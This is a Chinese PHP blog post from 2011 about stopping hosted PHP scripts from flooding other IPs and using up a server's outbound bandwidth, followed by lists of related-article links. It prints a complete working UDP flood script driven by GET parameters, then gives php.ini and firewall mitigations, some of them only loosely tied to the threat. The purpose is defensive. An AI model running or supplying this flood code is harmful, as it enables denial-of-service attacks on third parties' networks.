防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
深入mysql_fetch_row()与mysql_fetch_array()的区别详解
Jun 05 PHP
解析thinkphp中的导入文件标签
Jun 20 PHP
PHP 输出URL的快捷方式示例代码
Sep 22 PHP
从wamp到xampp的升级之路
Apr 08 PHP
php脚本运行时的超时机制详解
Feb 17 PHP
php面向对象编程self和static的区别
May 08 PHP
thinkphp中AJAX返回ajaxReturn()方法分析
Dec 06 PHP
php从数据库中获取数据用ajax传送到前台的方法
Aug 20 PHP
Thinkphp5+plupload实现的图片上传功能示例【支持实时预览】
May 08 PHP
Laravel实现ORM带条件搜索分页
Oct 24 PHP
在 Laravel 中动态隐藏 API 字段的方法
Oct 25 PHP
浅析PHP反序列化中过滤函数使用不当导致的对象注入问题
Feb 15 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
全国FM电台频率大全 - 15 山东省
2020/03/11 无线电
dedecms 批量提取第一张图片最为缩略图的代码(文章+软件)
2009/10/29 PHP
PHP数据库调用类调用实例(详细注释)
2012/07/12 PHP
PHP查询快递信息的方法
2015/03/07 PHP
php curl上传、下载、https登陆实现代码
2017/07/23 PHP
js下用层来实现select的title提示属性
2010/02/23 Javascript
IE6下通过a标签点击切换图片的问题
2010/11/14 Javascript
js实现纯前端的图片预览
2016/04/27 Javascript
Js获取图片原始宽高的实现代码
2016/05/17 Javascript
Javascript之BOM(window对象)详解
2016/05/25 Javascript
详解Vue 事件驱动和依赖追踪
2017/04/22 Javascript
input框中自动展示当前日期yyyy/mm/dd的实现方法
2017/07/06 Javascript
Angularjs上传文件组件flowjs功能
2017/08/07 Javascript
vue.js分页中单击页码更换页面内容的方法(配合spring springmvc)
2018/02/10 Javascript
vscode中eslint插件的配置(prettier配置无效)
2019/09/10 Javascript
Js和VUE实现跑马灯效果
2020/05/25 Javascript
python实现JAVA源代码从ANSI到UTF-8的批量转换方法
2015/08/10 Python
python3中set(集合)的语法总结分享
2017/03/24 Python
python实现屏保计时器的示例代码
2018/08/08 Python
python实现控制台打印的方法
2019/01/12 Python
pandas读取CSV文件时查看修改各列的数据类型格式
2019/07/07 Python
如何使用python切换hosts文件
2020/04/29 Python
python利用google翻译方法实例(翻译字幕文件)
2020/09/21 Python
python复合条件下的字典排序
2020/12/18 Python
Urban Outfitters英国官网:美国平价服饰品牌
2016/11/25 全球购物
Kidsroom台湾:来自德国的婴儿用品
2017/12/11 全球购物
机电专业毕业生求职信
2013/10/27 职场文书
英文自荐信常用句子
2014/03/26 职场文书
优质服务活动实施方案
2014/05/02 职场文书
毕业生学校推荐信范文
2014/05/21 职场文书
舞蹈教育学专业自荐信
2014/06/15 职场文书
公司委托书怎么写
2014/08/02 职场文书
授权收款委托书范本
2014/10/10 职场文书
六年级语文教学反思
2016/03/03 职场文书
创业计划书之干洗店
2019/09/10 职场文书
MySQL 开窗函数
2022/02/15 MySQL